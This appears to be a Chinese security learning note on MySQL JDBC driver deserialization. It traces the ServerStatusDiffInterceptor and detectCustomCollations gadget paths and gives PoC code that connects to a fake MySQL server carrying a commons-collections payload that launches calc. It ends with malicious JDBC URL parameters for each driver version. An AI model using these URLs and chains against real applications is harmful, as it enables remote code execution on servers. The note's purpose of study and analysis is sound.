环境:jdk8u65 mysql 8.0.19 commons-collections 3.2.1
pom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>JDBC</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
</project>
JDBC
JDBC (Java Database Connectivity) 作为接口实现的标准,对于不同的数据库有着不同的实现:

JDBC基本使用
两种使用方法
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.Statement;
import java.sql.ResultSet;
public class JDBCTest {
public static void main(String[] args) throws Exception{
String url = "jdbc:mysql://localhost:3306/test?serverTimezone=UTC";
String username = "root";
String password = "password";
// Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection(url, username, password);
// 使用 connection 执行数据库操作
Statement stmt = conn.createStatement();
String sql = "SELECT * FROM user";
ResultSet rs = stmt.executeQuery(sql);
while(rs.next()){
System.out.println(rs.getString("name")+" 年龄:"+rs.getInt("age"));
}
}
}
import java.sql.Connection;
import java.sql.Statement;
import java.sql.ResultSet;
import java.sql.Driver;
import java.util.Properties;
public class JDBCTest {
public static void main(String[] args) throws Exception{
String url = "jdbc:mysql://127.0.0.1:3306/test?serverTimezone=UTC";
Properties props = new Properties();
props.setProperty("user", "root");
props.setProperty("password", "password");
// Driver driver = new com.mysql.jdbc.Driver();
Driver driver = new com.mysql.cj.jdbc.Driver();
Connection conn = driver.connect(url, props);
// 使用 connection 执行数据库操作
Statement stmt = conn.createStatement();
String sql = "SELECT * FROM user";
ResultSet rs = stmt.executeQuery(sql);
while(rs.next()){
System.out.println(rs.getString("name")+" 年龄:"+rs.getInt("age"));
}
}
}
ServerStatusDiffInterceptor链
在 jdbc url 中设定属性 queryInterceptors 为 ServerStatusDiffInterceptor 时,执行查询语句会调用拦截器的 preProcess 和 postProcess 方法
ServerStatusDiffInterceptor链:ServerStatusDiffInterceptor.postProcess -> ServerStatusDiffInterceptor.populateMapWithSessionStatusValues -> ResultSetUtil.resultSetToMap -> rs.getObject(即ResultSetImpl.getObject) -> objIn.readObject
需要注意的是 ResultSetImpl.getObject 中需要设置 autoDeserialize 为true才能调用到最后的反序列化:
if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue()) {
Object obj = data;
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
// Serialized object?
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(data);
ObjectInputStream objIn = new ObjectInputStream(bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
} catch (ClassNotFoundException cnfe) {
throw SQLError.createSQLException(Messages.getString("ResultSet.Class_not_found___91") + cnfe.toString()
+ Messages.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor());
} catch (IOException ex) {
obj = data; // not serialized?
}
} else {
return getString(columnIndex);
}
}
return obj;
}
最后反序列化的数据是数据库服务器返回给请求的内容
因此jdbc url需要设置两个基本属性来满足反序列化条件: queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
后续根据不同的环境条件打不同的链子,比如本次环境为 commons-collections 3.2.1 就可以打CC6链,需要最后返回进行反序列化的数据就是CC6链序列化后的结果,网络数据包需要满足协议格式才可以进行数据库服务的伪造
伪造服务器可以直接用 mysql-fake-server 工具来实现,payload从user参数传递,也就是代码中进行连接时的url后的参数:
jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc.exe
可以用cli版本直接伪造服务:

poc:
import java.sql.Connection;
import java.sql.DriverManager;
public class JDBCTest {
public static void main(String[] args) throws Exception{
String url = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor";
String username = "deser_CC31_calc.exe";
String password = "1";
// Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection(url, username, password);
}
}

另一种使用方式同理:

detectCustomCollations链
detectCustomCollations链:ConnectionImpl.buildCollationMapping -> Util.resultSetToMap -> rs.getObject(即ResultSetImpl.getObject)
ConnectionImpl.buildCollationMapping 中需要满足getDetectCustomCollations()为true才能进入Util.resultSetToMap:
if (versionMeetsMinimum(4, 1, 0) && getDetectCustomCollations()) {
java.sql.Statement stmt = null;
java.sql.ResultSet results = null;
try {
sortedCollationMap = new TreeMap<Long, String>();
customCharset = new HashMap<Integer, String>();
customMblen = new HashMap<String, Integer>();
stmt = getMetadataSafeStatement();
try {
results = stmt.executeQuery("SHOW COLLATION");
if (versionMeetsMinimum(5, 0, 0)) {
Util.resultSetToMap(sortedCollationMap, results, 3, 2);
ResultSetImpl.getObject 中需要满足 getAutoDeserialize() 为true才能调用到最后的反序列化
if (this.connection.getAutoDeserialize()) {
Object obj = data;
if ((data != null) && (data.length >= 2)) {
if ((data[0] == -84) && (data[1] == -19)) {
// Serialized object?
try {
ByteArrayInputStream bytesIn = new ByteArrayInputStream(
data);
ObjectInputStream objIn = new ObjectInputStream(
bytesIn);
obj = objIn.readObject();
objIn.close();
bytesIn.close();
} catch (ClassNotFoundException cnfe) {
throw SQLError.createSQLException(
Messages
.getString("ResultSet.Class_not_found___91") //$NON-NLS-1$
+ cnfe.toString()
+ Messages
.getString("ResultSet._while_reading_serialized_object_92"), getExceptionInterceptor()); //$NON-NLS-1$
} catch (IOException ex) {
obj = data; // not serialized?
}
} else {
return getString(columnIndex);
}
}
return obj;
}
因此jdbc url需要设置两个基本属性来满足反序列化条件: detectCustomCollations=true&autoDeserialize=true
同样利用 mysql-fake-server 工具来搭建服务和生成payload:
jdbc:mysql://ip:port/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CC31_calc.exe
poc:
import java.sql.Connection;
import java.sql.DriverManager;
public class JDBCTest {
public static void main(String[] args) throws Exception{
String url = "jdbc:mysql://127.0.0.1:3308/test?detectCustomCollations=true&autoDeserialize=true";
String username = "deser_CC31_calc.exe";
String password = "1";
// Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection(url, username, password);
}
}

总结
根据不同的sql版本有一些属性名的区别,但本质上还是上面两条链:
5.1.10 - 5.1.18 不调用resultSeToMap poc:
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
public class JDBCTest {
public static void main(String[] args) throws Exception{
String url = "jdbc:mysql://127.0.0.1:3308/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor";
String username = "deser_CC31_calc.exe";
String password = "1";
// Class.forName("com.mysql.jdbc.Driver");
Connection conn = DriverManager.getConnection(url, username, password);
String sql = "";
PreparedStatement ps = conn.prepareStatement(sql);
//执行查询操作,返回的是数据库结果集的数据表
ResultSet resultSet = ps.executeQuery();
}
}
5.1.19 - 5.1.28:
jdbc:mysql://ip:port/test?autoDeserialize=true&user=deser_CC31_calc.exe
5.1.29 - 5.1.48
jdbc:mysql://ip:port/test?detectCustomCollations=true&autoDeserialize=true&user=deser_CC31_calc.exe
6.02 - 6.06
jdbc:mysql://ip:port/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc.exe
8.07 - 8.20
jdbc:mysql://ip:port/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CC31_calc.exe
参考资料:
https://xz.aliyun.com/news/18822
https://xz.aliyun.com/news/7754